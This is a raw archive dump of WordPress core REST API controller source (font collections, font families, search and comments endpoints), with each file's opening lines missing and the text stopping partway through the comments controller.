); } return $this->prepare_item_for_response( $collection, $request ); } /** * Prepare a single collection output for response. * * @since 6.5.0 * * @param WP_Font_Collection $item Font collection object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'slug', $fields ) ) { $data['slug'] = $item->slug; } // If any data fields are requested, get the collection data. $data_fields = array( 'name', 'description', 'font_families', 'categories' ); if ( ! empty( array_intersect( $fields, $data_fields ) ) ) { $collection_data = $item->get_data(); if ( is_wp_error( $collection_data ) ) { $collection_data->add_data( array( 'status' => 500 ) ); return $collection_data; } foreach ( $data_fields as $field ) { if ( rest_is_field_included( $field, $fields ) ) { $data[ $field ] = $collection_data[ $field ]; } } } $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $response->data = $this->add_additional_fields_to_object( $response->data, $request ); $response->data = $this->filter_response_by_context( $response->data, $context ); /** * Filters the font collection data for a REST API response. * * @since 6.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Font_Collection $item The font collection object. * @param WP_REST_Request $request Request used to generate the response. */ return apply_filters( 'rest_prepare_font_collection', $response, $item, $request ); } /** * Retrieves the font collection's schema, conforming to JSON Schema. * * @since 6.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'font-collection', 'type' => 'object', 'properties' => array( 'slug' => array( 'description' => __( 'Unique identifier for the font collection.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'name' => array( 'description' => __( 'The name for the font collection.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'description' => array( 'description' => __( 'The description for the font collection.' ), 'type' => 'string', 'context' => array( 'view', 'edit', 'embed' ), ), 'font_families' => array( 'description' => __( 'The font families for the font collection.' ), 'type' => 'array', 'context' => array( 'view', 'edit', 'embed' ), ), 'categories' => array( 'description' => __( 'The categories for the font collection.' ), 'type' => 'array', 'context' => array( 'view', 'edit', 'embed' ), ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Prepares links for the request. * * @since 6.5.0 * * @param WP_Font_Collection $collection Font collection data * @return array Links for the given font collection. */ protected function prepare_links( $collection ) { return array( 'self' => array( 'href' => rest_url( sprintf( '%s/%s/%s', $this->namespace, $this->rest_base, $collection->slug ) ), ), 'collection' => array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ), ); } /** * Retrieves the search params for the font collections. * * @since 6.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); $query_params['context'] = $this->get_context_param( array( 'default' => 'view' ) ); unset( $query_params['search'] ); /** * Filters REST API collection parameters for the font collections controller. * * @since 6.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_font_collections_collection_params', $query_params ); } /** * Checks whether the user has permissions to use the Fonts Collections. * * @since 6.5.0 * * @return true|WP_Error True if the request has write access for the item, WP_Error object otherwise. */ public function get_items_permissions_check( $request ) { // phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable if ( current_user_can( 'edit_theme_options' ) ) { return true; } return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access font collections.' ), array( 'status' => rest_authorization_required_code(), ) ); } } rest-api/endpoints/class-wp-rest-font-families-controller.php000064400000042152147177035020020436 0ustar00post_type ); if ( ! current_user_can( $post_type->cap->read ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access font families.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Checks if a given request has access to a font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, WP_Error object otherwise. */ public function get_item_permissions_check( $request ) { $post = $this->get_post( $request['id'] ); if ( is_wp_error( $post ) ) { return $post; } if ( ! current_user_can( 'read_post', $post->ID ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to access this font family.' ), array( 'status' => rest_authorization_required_code() ) ); } return true; } /** * Validates settings when creating or updating a font family. * * @since 6.5.0 * * @param string $value Encoded JSON string of font family settings. * @param WP_REST_Request $request Request object. * @return true|WP_Error True if the settings are valid, otherwise a WP_Error object. */ public function validate_font_family_settings( $value, $request ) { $settings = json_decode( $value, true ); // Check settings string is valid JSON. if ( null === $settings ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Parameter name: "font_family_settings". */ sprintf( __( '%s parameter must be a valid JSON string.' ), 'font_family_settings' ), array( 'status' => 400 ) ); } $schema = $this->get_item_schema()['properties']['font_family_settings']; $required = $schema['required']; if ( isset( $request['id'] ) ) { // Allow sending individual properties if we are updating an existing font family. unset( $schema['required'] ); // But don't allow updating the slug, since it is used as a unique identifier. if ( isset( $settings['slug'] ) ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Name of parameter being updated: font_family_settings[slug]". */ sprintf( __( '%s cannot be updated.' ), 'font_family_settings[slug]' ), array( 'status' => 400 ) ); } } // Check that the font face settings match the theme.json schema. $has_valid_settings = rest_validate_value_from_schema( $settings, $schema, 'font_family_settings' ); if ( is_wp_error( $has_valid_settings ) ) { $has_valid_settings->add_data( array( 'status' => 400 ) ); return $has_valid_settings; } // Check that none of the required settings are empty values. foreach ( $required as $key ) { if ( isset( $settings[ $key ] ) && ! $settings[ $key ] ) { return new WP_Error( 'rest_invalid_param', /* translators: %s: Name of the empty font family setting parameter, e.g. "font_family_settings[slug]". */ sprintf( __( '%s cannot be empty.' ), "font_family_settings[ $key ]" ), array( 'status' => 400 ) ); } } return true; } /** * Sanitizes the font family settings when creating or updating a font family. * * @since 6.5.0 * * @param string $value Encoded JSON string of font family settings. * @return array Decoded array of font family settings. */ public function sanitize_font_family_settings( $value ) { // Settings arrive as stringified JSON, since this is a multipart/form-data request. $settings = json_decode( $value, true ); $schema = $this->get_item_schema()['properties']['font_family_settings']['properties']; // Sanitize settings based on callbacks in the schema. foreach ( $settings as $key => $value ) { $sanitize_callback = $schema[ $key ]['arg_options']['sanitize_callback']; $settings[ $key ] = call_user_func( $sanitize_callback, $value ); } return $settings; } /** * Creates a single font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function create_item( $request ) { $settings = $request->get_param( 'font_family_settings' ); // Check that the font family slug is unique. $query = new WP_Query( array( 'post_type' => $this->post_type, 'posts_per_page' => 1, 'name' => $settings['slug'], 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); if ( ! empty( $query->posts ) ) { return new WP_Error( 'rest_duplicate_font_family', /* translators: %s: Font family slug. */ sprintf( __( 'A font family with slug "%s" already exists.' ), $settings['slug'] ), array( 'status' => 400 ) ); } return parent::create_item( $request ); } /** * Deletes a single font family. * * @since 6.5.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function delete_item( $request ) { $force = isset( $request['force'] ) ? (bool) $request['force'] : false; // We don't support trashing for font families. if ( ! $force ) { return new WP_Error( 'rest_trash_not_supported', /* translators: %s: force=true */ sprintf( __( 'Font faces do not support trashing. Set "%s" to delete.' ), 'force=true' ), array( 'status' => 501 ) ); } return parent::delete_item( $request ); } /** * Prepares a single font family output for response. * * @since 6.5.0 * * @param WP_Post $item Post object. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { $fields = $this->get_fields_for_response( $request ); $data = array(); if ( rest_is_field_included( 'id', $fields ) ) { $data['id'] = $item->ID; } if ( rest_is_field_included( 'theme_json_version', $fields ) ) { $data['theme_json_version'] = static::LATEST_THEME_JSON_VERSION_SUPPORTED; } if ( rest_is_field_included( 'font_faces', $fields ) ) { $data['font_faces'] = $this->get_font_face_ids( $item->ID ); } if ( rest_is_field_included( 'font_family_settings', $fields ) ) { $data['font_family_settings'] = $this->get_settings_from_post( $item ); } $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->add_additional_fields_to_object( $data, $request ); $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); if ( rest_is_field_included( '_links', $fields ) ) { $links = $this->prepare_links( $item ); $response->add_links( $links ); } /** * Filters the font family data for a REST API response. * * @since 6.5.0 * * @param WP_REST_Response $response The response object. * @param WP_Post $post Font family post object. * @param WP_REST_Request $request Request object. */ return apply_filters( 'rest_prepare_wp_font_family', $response, $item, $request ); } /** * Retrieves the post's schema, conforming to JSON Schema. * * @since 6.5.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => $this->post_type, 'type' => 'object', // Base properties for every Post. 'properties' => array( 'id' => array( 'description' => __( 'Unique identifier for the post.', 'default' ), 'type' => 'integer', 'context' => array( 'view', 'edit', 'embed' ), 'readonly' => true, ), 'theme_json_version' => array( 'description' => __( 'Version of the theme.json schema used for the typography settings.' ), 'type' => 'integer', 'default' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'minimum' => 2, 'maximum' => static::LATEST_THEME_JSON_VERSION_SUPPORTED, 'context' => array( 'view', 'edit', 'embed' ), ), 'font_faces' => array( 'description' => __( 'The IDs of the child font faces in the font family.' ), 'type' => 'array', 'context' => array( 'view', 'edit', 'embed' ), 'items' => array( 'type' => 'integer', ), ), // Font family settings come directly from theme.json schema // See https://schemas.wp.org/trunk/theme.json 'font_family_settings' => array( 'description' => __( 'font-face definition in theme.json format.' ), 'type' => 'object', 'context' => array( 'view', 'edit', 'embed' ), 'properties' => array( 'name' => array( 'description' => __( 'Name of the font family preset, translatable.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_text_field', ), ), 'slug' => array( 'description' => __( 'Kebab-case unique identifier for the font family preset.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => 'sanitize_title', ), ), 'fontFamily' => array( 'description' => __( 'CSS font-family value.' ), 'type' => 'string', 'arg_options' => array( 'sanitize_callback' => array( 'WP_Font_Utils', 'sanitize_font_family' ), ), ), 'preview' => array( 'description' => __( 'URL to a preview image of the font family.' ), 'type' => 'string', 'format' => 'uri', 'default' => '', 'arg_options' => array( 'sanitize_callback' => 'sanitize_url', ), ), ), 'required' => array( 'name', 'slug', 'fontFamily' ), 'additionalProperties' => false, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the item's schema for display / public consumption purposes. * * @since 6.5.0 * * @return array Public item schema data. */ public function get_public_item_schema() { $schema = parent::get_public_item_schema(); // Also remove `arg_options' from child font_family_settings properties, since the parent // controller only handles the top level properties. foreach ( $schema['properties']['font_family_settings']['properties'] as &$property ) { unset( $property['arg_options'] ); } return $schema; } /** * Retrieves the query params for the font family collection. * * @since 6.5.0 * * @return array Collection parameters. */ public function get_collection_params() { $query_params = parent::get_collection_params(); // Remove unneeded params. unset( $query_params['after'], $query_params['modified_after'], $query_params['before'], $query_params['modified_before'], $query_params['search'], $query_params['search_columns'], $query_params['status'] ); $query_params['orderby']['default'] = 'id'; $query_params['orderby']['enum'] = array( 'id', 'include' ); /** * Filters collection parameters for the font family controller. * * @since 6.5.0 * * @param array $query_params JSON Schema-formatted collection parameters. */ return apply_filters( 'rest_wp_font_family_collection_params', $query_params ); } /** * Get the arguments used when creating or updating a font family. * * @since 6.5.0 * * @return array Font family create/edit arguments. */ public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) { if ( WP_REST_Server::CREATABLE === $method || WP_REST_Server::EDITABLE === $method ) { $properties = $this->get_item_schema()['properties']; return array( 'theme_json_version' => $properties['theme_json_version'], // When creating or updating, font_family_settings is stringified JSON, to work with multipart/form-data. // Font families don't currently support file uploads, but may accept preview files in the future. 'font_family_settings' => array( 'description' => __( 'font-family declaration in theme.json format, encoded as a string.' ), 'type' => 'string', 'required' => true, 'validate_callback' => array( $this, 'validate_font_family_settings' ), 'sanitize_callback' => array( $this, 'sanitize_font_family_settings' ), ), ); } return parent::get_endpoint_args_for_item_schema( $method ); } /** * Get the child font face post IDs. * * @since 6.5.0 * * @param int $font_family_id Font family post ID. * @return int[] Array of child font face post IDs. */ protected function get_font_face_ids( $font_family_id ) { $query = new WP_Query( array( 'fields' => 'ids', 'post_parent' => $font_family_id, 'post_type' => 'wp_font_face', 'posts_per_page' => 99, 'order' => 'ASC', 'orderby' => 'id', 'update_post_meta_cache' => false, 'update_post_term_cache' => false, ) ); return $query->posts; } /** * Prepares font family links for the request. * * @since 6.5.0 * * @param WP_Post $post Post object. * @return array Links for the given post. */ protected function prepare_links( $post ) { // Entity meta. $links = parent::prepare_links( $post ); return array( 'self' => $links['self'], 'collection' => $links['collection'], 'font_faces' => $this->prepare_font_face_links( $post->ID ), ); } /** * Prepares child font face links for the request. * * @param int $font_family_id Font family post ID. * @return array Links for the child font face posts. */ protected function prepare_font_face_links( $font_family_id ) { $font_face_ids = $this->get_font_face_ids( $font_family_id ); $links = array(); foreach ( $font_face_ids as $font_face_id ) { $links[] = array( 'embeddable' => true, 'href' => rest_url( sprintf( '%s/%s/%s/font-faces/%s', $this->namespace, $this->rest_base, $font_family_id, $font_face_id ) ), ); } return $links; } /** * Prepares a single font family post for create or update. * * @since 6.5.0 * * @param WP_REST_Request $request Request object. * @return stdClass|WP_Error Post object or WP_Error. */ protected function prepare_item_for_database( $request ) { $prepared_post = new stdClass(); // Settings have already been decoded by ::sanitize_font_family_settings(). $settings = $request->get_param( 'font_family_settings' ); // This is an update and we merge with the existing font family. if ( isset( $request['id'] ) ) { $existing_post = $this->get_post( $request['id'] ); if ( is_wp_error( $existing_post ) ) { return $existing_post; } $prepared_post->ID = $existing_post->ID; $existing_settings = $this->get_settings_from_post( $existing_post ); $settings = array_merge( $existing_settings, $settings ); } $prepared_post->post_type = $this->post_type; $prepared_post->post_status = 'publish'; $prepared_post->post_title = $settings['name']; $prepared_post->post_name = sanitize_title( $settings['slug'] ); // Remove duplicate information from settings. unset( $settings['name'] ); unset( $settings['slug'] ); $prepared_post->post_content = wp_json_encode( $settings ); return $prepared_post; } /** * Gets the font family's settings from the post. * * @since 6.5.0 * * @param WP_Post $post Font family post object. * @return array Font family settings array. */ protected function get_settings_from_post( $post ) { $settings_json = json_decode( $post->post_content, true ); // Default to empty strings if the settings are missing. return array( 'name' => isset( $post->post_title ) && $post->post_title ? $post->post_title : '', 'slug' => isset( $post->post_name ) && $post->post_name ? $post->post_name : '', 'fontFamily' => isset( $settings_json['fontFamily'] ) && $settings_json['fontFamily'] ? $settings_json['fontFamily'] : '', 'preview' => isset( $settings_json['preview'] ) && $settings_json['preview'] ? $settings_json['preview'] : '', ); } } rest-api/endpoints/class-wp-rest-search-controller.php000064400000024764147177035020017157 0ustar00namespace = 'wp/v2'; $this->rest_base = 'search'; foreach ( $search_handlers as $search_handler ) { if ( ! $search_handler instanceof WP_REST_Search_Handler ) { _doing_it_wrong( __METHOD__, /* translators: %s: PHP class name. */ sprintf( __( 'REST search handlers must extend the %s class.' ), 'WP_REST_Search_Handler' ), '5.0.0' ); continue; } $this->search_handlers[ $search_handler->get_type() ] = $search_handler; } } /** * Registers the routes for the search controller. * * @since 5.0.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permission_check' ), 'args' => $this->get_collection_params(), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to search content. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has search access, WP_Error object otherwise. */ public function get_items_permission_check( $request ) { return true; } /** * Retrieves a collection of search results. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure. */ public function get_items( $request ) { $handler = $this->get_search_handler( $request ); if ( is_wp_error( $handler ) ) { return $handler; } $result = $handler->search_items( $request ); if ( ! isset( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! is_array( $result[ WP_REST_Search_Handler::RESULT_IDS ] ) || ! isset( $result[ WP_REST_Search_Handler::RESULT_TOTAL ] ) ) { return new WP_Error( 'rest_search_handler_error', __( 'Internal search handler error.' ), array( 'status' => 500 ) ); } $ids = $result[ WP_REST_Search_Handler::RESULT_IDS ]; $results = array(); foreach ( $ids as $id ) { $data = $this->prepare_item_for_response( $id, $request ); $results[] = $this->prepare_response_for_collection( $data ); } $total = (int) $result[ WP_REST_Search_Handler::RESULT_TOTAL ]; $page = (int) $request['page']; $per_page = (int) $request['per_page']; $max_pages = ceil( $total / $per_page ); if ( $page > $max_pages && $total > 0 ) { return new WP_Error( 'rest_search_invalid_page_number', __( 'The page number requested is larger than the number of pages available.' ), array( 'status' => 400 ) ); } $response = rest_ensure_response( $results ); $response->header( 'X-WP-Total', $total ); $response->header( 'X-WP-TotalPages', $max_pages ); $request_params = $request->get_query_params(); $base = add_query_arg( urlencode_deep( $request_params ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $page > 1 ) { $prev_link = add_query_arg( 'page', $page - 1, $base ); $response->link_header( 'prev', $prev_link ); } if ( $page < $max_pages ) { $next_link = add_query_arg( 'page', $page + 1, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Prepares a single search result for response. * * @since 5.0.0 * @since 5.6.0 The `$id` parameter can accept a string. * @since 5.9.0 Renamed `$id` to `$item` to match parent class for PHP 8 named parameter support. * * @param int|string $item ID of the item to prepare. * @param WP_REST_Request $request Request object. * @return WP_REST_Response Response object. */ public function prepare_item_for_response( $item, $request ) { // Restores the more descriptive, specific name for use within this method. $item_id = $item; $handler = $this->get_search_handler( $request ); if ( is_wp_error( $handler ) ) { return new WP_REST_Response(); } $fields = $this->get_fields_for_response( $request ); $data = $handler->prepare_item( $item_id, $fields ); $data = $this->add_additional_fields_to_object( $data, $request ); $context = ! empty( $request['context'] ) ? $request['context'] : 'view'; $data = $this->filter_response_by_context( $data, $context ); $response = rest_ensure_response( $data ); $links = $handler->prepare_item_links( $item_id ); $links['collection'] = array( 'href' => rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ), ); $response->add_links( $links ); return $response; } /** * Retrieves the item schema, conforming to JSON Schema. * * @since 5.0.0 * * @return array Item schema data. */ public function get_item_schema() { if ( $this->schema ) { return $this->add_additional_fields_schema( $this->schema ); } $types = array(); $subtypes = array(); foreach ( $this->search_handlers as $search_handler ) { $types[] = $search_handler->get_type(); $subtypes = array_merge( $subtypes, $search_handler->get_subtypes() ); } $types = array_unique( $types ); $subtypes = array_unique( $subtypes ); $schema = array( '$schema' => 'http://json-schema.org/draft-04/schema#', 'title' => 'search-result', 'type' => 'object', 'properties' => array( self::PROP_ID => array( 'description' => __( 'Unique identifier for the object.' ), 'type' => array( 'integer', 'string' ), 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_TITLE => array( 'description' => __( 'The title for the object.' ), 'type' => 'string', 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_URL => array( 'description' => __( 'URL to the object.' ), 'type' => 'string', 'format' => 'uri', 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_TYPE => array( 'description' => __( 'Object type.' ), 'type' => 'string', 'enum' => $types, 'context' => array( 'view', 'embed' ), 'readonly' => true, ), self::PROP_SUBTYPE => array( 'description' => __( 'Object subtype.' ), 'type' => 'string', 'enum' => $subtypes, 'context' => array( 'view', 'embed' ), 'readonly' => true, ), ), ); $this->schema = $schema; return $this->add_additional_fields_schema( $this->schema ); } /** * Retrieves the query params for the search results collection. * * @since 5.0.0 * * @return array Collection parameters. */ public function get_collection_params() { $types = array(); $subtypes = array(); foreach ( $this->search_handlers as $search_handler ) { $types[] = $search_handler->get_type(); $subtypes = array_merge( $subtypes, $search_handler->get_subtypes() ); } $types = array_unique( $types ); $subtypes = array_unique( $subtypes ); $query_params = parent::get_collection_params(); $query_params['context']['default'] = 'view'; $query_params[ self::PROP_TYPE ] = array( 'default' => $types[0], 'description' => __( 'Limit results to items of an object type.' ), 'type' => 'string', 'enum' => $types, ); $query_params[ self::PROP_SUBTYPE ] = array( 'default' => self::TYPE_ANY, 'description' => __( 'Limit results to items of one or more object subtypes.' ), 'type' => 'array', 'items' => array( 'enum' => array_merge( $subtypes, array( self::TYPE_ANY ) ), 'type' => 'string', ), 'sanitize_callback' => array( $this, 'sanitize_subtypes' ), ); return $query_params; } /** * Sanitizes the list of subtypes, to ensure only subtypes of the passed type are included. * * @since 5.0.0 * * @param string|array $subtypes One or more subtypes. * @param WP_REST_Request $request Full details about the request. * @param string $parameter Parameter name. * @return array|WP_Error List of valid subtypes, or WP_Error object on failure. */ public function sanitize_subtypes( $subtypes, $request, $parameter ) { $subtypes = wp_parse_slug_list( $subtypes ); $subtypes = rest_parse_request_arg( $subtypes, $request, $parameter ); if ( is_wp_error( $subtypes ) ) { return $subtypes; } // 'any' overrides any other subtype. if ( in_array( self::TYPE_ANY, $subtypes, true ) ) { return array( self::TYPE_ANY ); } $handler = $this->get_search_handler( $request ); if ( is_wp_error( $handler ) ) { return $handler; } return array_intersect( $subtypes, $handler->get_subtypes() ); } /** * Gets the search handler to handle the current request. * * @since 5.0.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Search_Handler|WP_Error Search handler for the request type, or WP_Error object on failure. */ protected function get_search_handler( $request ) { $type = $request->get_param( self::PROP_TYPE ); if ( ! $type || ! isset( $this->search_handlers[ $type ] ) ) { return new WP_Error( 'rest_search_invalid_type', __( 'Invalid type parameter.' ), array( 'status' => 400 ) ); } return $this->search_handlers[ $type ]; } } rest-api/endpoints/class-wp-rest-comments-controller.php000064400000160006147177035020017525 0ustar00namespace = 'wp/v2'; $this->rest_base = 'comments'; $this->meta = new WP_REST_Comment_Meta_Fields(); } /** * Registers the routes for comments. * * @since 4.7.0 * * @see register_rest_route() */ public function register_routes() { register_rest_route( $this->namespace, '/' . $this->rest_base, array( array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_items' ), 'permission_callback' => array( $this, 'get_items_permissions_check' ), 'args' => $this->get_collection_params(), ), array( 'methods' => WP_REST_Server::CREATABLE, 'callback' => array( $this, 'create_item' ), 'permission_callback' => array( $this, 'create_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::CREATABLE ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); register_rest_route( $this->namespace, '/' . $this->rest_base . '/(?P[\d]+)', array( 'args' => array( 'id' => array( 'description' => __( 'Unique identifier for the comment.' ), 'type' => 'integer', ), ), array( 'methods' => WP_REST_Server::READABLE, 'callback' => array( $this, 'get_item' ), 'permission_callback' => array( $this, 'get_item_permissions_check' ), 'args' => array( 'context' => $this->get_context_param( array( 'default' => 'view' ) ), 'password' => array( 'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ), 'type' => 'string', ), ), ), array( 'methods' => WP_REST_Server::EDITABLE, 'callback' => array( $this, 'update_item' ), 'permission_callback' => array( $this, 'update_item_permissions_check' ), 'args' => $this->get_endpoint_args_for_item_schema( WP_REST_Server::EDITABLE ), ), array( 'methods' => WP_REST_Server::DELETABLE, 'callback' => array( $this, 'delete_item' ), 'permission_callback' => array( $this, 'delete_item_permissions_check' ), 'args' => array( 'force' => array( 'type' => 'boolean', 'default' => false, 'description' => __( 'Whether to bypass Trash and force deletion.' ), ), 'password' => array( 'description' => __( 'The password for the parent post of the comment (if the post is password protected).' ), 'type' => 'string', ), ), ), 'schema' => array( $this, 'get_public_item_schema' ), ) ); } /** * Checks if a given request has access to read comments. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return true|WP_Error True if the request has read access, error object otherwise. */ public function get_items_permissions_check( $request ) { if ( ! empty( $request['post'] ) ) { foreach ( (array) $request['post'] as $post_id ) { $post = get_post( $post_id ); if ( ! empty( $post_id ) && $post && ! $this->check_read_post_permission( $post, $request ) ) { return new WP_Error( 'rest_cannot_read_post', __( 'Sorry, you are not allowed to read the post for this comment.' ), array( 'status' => rest_authorization_required_code() ) ); } elseif ( 0 === $post_id && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_cannot_read', __( 'Sorry, you are not allowed to read comments without a post.' ), array( 'status' => rest_authorization_required_code() ) ); } } } if ( ! empty( $request['context'] ) && 'edit' === $request['context'] && ! current_user_can( 'moderate_comments' ) ) { return new WP_Error( 'rest_forbidden_context', __( 'Sorry, you are not allowed to edit comments.' ), array( 'status' => rest_authorization_required_code() ) ); } if ( ! current_user_can( 'edit_posts' ) ) { $protected_params = array( 'author', 'author_exclude', 'author_email', 'type', 'status' ); $forbidden_params = array(); foreach ( $protected_params as $param ) { if ( 'status' === $param ) { if ( 'approve' !== $request[ $param ] ) { $forbidden_params[] = $param; } } elseif ( 'type' === $param ) { if ( 'comment' !== $request[ $param ] ) { $forbidden_params[] = $param; } } elseif ( ! empty( $request[ $param ] ) ) { $forbidden_params[] = $param; } } if ( ! empty( $forbidden_params ) ) { return new WP_Error( 'rest_forbidden_param', /* translators: %s: List of forbidden parameters. */ sprintf( __( 'Query parameter not permitted: %s' ), implode( ', ', $forbidden_params ) ), array( 'status' => rest_authorization_required_code() ) ); } } return true; } /** * Retrieves a list of comment items. * * @since 4.7.0 * * @param WP_REST_Request $request Full details about the request. * @return WP_REST_Response|WP_Error Response object on success, or error object on failure. */ public function get_items( $request ) { // Retrieve the list of registered collection query parameters. $registered = $this->get_collection_params(); /* * This array defines mappings between public API query parameters whose * values are accepted as-passed, and their internal WP_Query parameter * name equivalents (some are the same). Only values which are also * present in $registered will be set. */ $parameter_mappings = array( 'author' => 'author__in', 'author_email' => 'author_email', 'author_exclude' => 'author__not_in', 'exclude' => 'comment__not_in', 'include' => 'comment__in', 'offset' => 'offset', 'order' => 'order', 'parent' => 'parent__in', 'parent_exclude' => 'parent__not_in', 'per_page' => 'number', 'post' => 'post__in', 'search' => 'search', 'status' => 'status', 'type' => 'type', ); $prepared_args = array(); /* * For each known parameter which is both registered and present in the request, * set the parameter's value on the query $prepared_args. */ foreach ( $parameter_mappings as $api_param => $wp_param ) { if ( isset( $registered[ $api_param ], $request[ $api_param ] ) ) { $prepared_args[ $wp_param ] = $request[ $api_param ]; } } // Ensure certain parameter values default to empty strings. foreach ( array( 'author_email', 'search' ) as $param ) { if ( ! isset( $prepared_args[ $param ] ) ) { $prepared_args[ $param ] = ''; } } if ( isset( $registered['orderby'] ) ) { $prepared_args['orderby'] = $this->normalize_query_param( $request['orderby'] ); } $prepared_args['no_found_rows'] = false; $prepared_args['date_query'] = array(); // Set before into date query. Date query must be specified as an array of an array. if ( isset( $registered['before'], $request['before'] ) ) { $prepared_args['date_query'][0]['before'] = $request['before']; } // Set after into date query. Date query must be specified as an array of an array. if ( isset( $registered['after'], $request['after'] ) ) { $prepared_args['date_query'][0]['after'] = $request['after']; } if ( isset( $registered['page'] ) && empty( $request['offset'] ) ) { $prepared_args['offset'] = $prepared_args['number'] * ( absint( $request['page'] ) - 1 ); } /** * Filters WP_Comment_Query arguments when querying comments via the REST API. * * @since 4.7.0 * * @link https://developer.wordpress.org/reference/classes/wp_comment_query/ * * @param array $prepared_args Array of arguments for WP_Comment_Query. * @param WP_REST_Request $request The REST API request. */ $prepared_args = apply_filters( 'rest_comment_query', $prepared_args, $request ); $query = new WP_Comment_Query; $query_result = $query->query( $prepared_args ); $comments = array(); foreach ( $query_result as $comment ) { if ( ! $this->check_read_permission( $comment, $request ) ) { continue; } $data = $this->prepare_item_for_response( $comment, $request ); $comments[] = $this->prepare_response_for_collection( $data ); } $total_comments = (int) $query->found_comments; $max_pages = (int) $query->max_num_pages; if ( $total_comments < 1 ) { // Out-of-bounds, run the query again without LIMIT for total count. unset( $prepared_args['number'], $prepared_args['offset'] ); $query = new WP_Comment_Query; $prepared_args['count'] = true; $total_comments = $query->query( $prepared_args ); $max_pages = ceil( $total_comments / $request['per_page'] ); } $response = rest_ensure_response( $comments ); $response->header( 'X-WP-Total', $total_comments ); $response->header( 'X-WP-TotalPages', $max_pages ); $base = add_query_arg( urlencode_deep( $request->get_query_params() ), rest_url( sprintf( '%s/%s', $this->namespace, $this->rest_base ) ) ); if ( $request['page'] > 1 ) { $prev_page = $request['page'] - 1; if ( $prev_page > $max_pages ) { $prev_page = $max_pages; } $prev_link = add_query_arg( 'page', $prev_page, $base ); $response->link_header( 'prev', $prev_link ); } if ( $max_pages > $request['page'] ) { $next_page = $request['page'] + 1; $next_link = add_query_arg( 'page', $next_page, $base ); $response->link_header( 'next', $next_link ); } return $response; } /** * Get the comment, if the ID is valid. * * @since 4.7.2 * * @param int $id Supplied ID. * @return WP_Comment|WP_Error Comment object if ID is valid, WP_Error otherwise. */ protected function get_comment( $id ) { $error = new WP_Error( 'rest_comment_invalid_id', __( 'Invalid comment ID.' ), array( 'status' => 404 ) ); if ( (int) $id <= 0 ) { return $error; } $id = (int) $id; $comment = get_comment( $id ); if ( empty( $comment ) ) { return $error; } if ( ! empty( $comment->comment_post_ID ) ) { $post = get_post( (int) $comment->comment_post_ID ); if ( empty( $post ) ) { return new WP_Error( 'rest_post_invalid_id', __( 'Invalid post ID.' ), array( 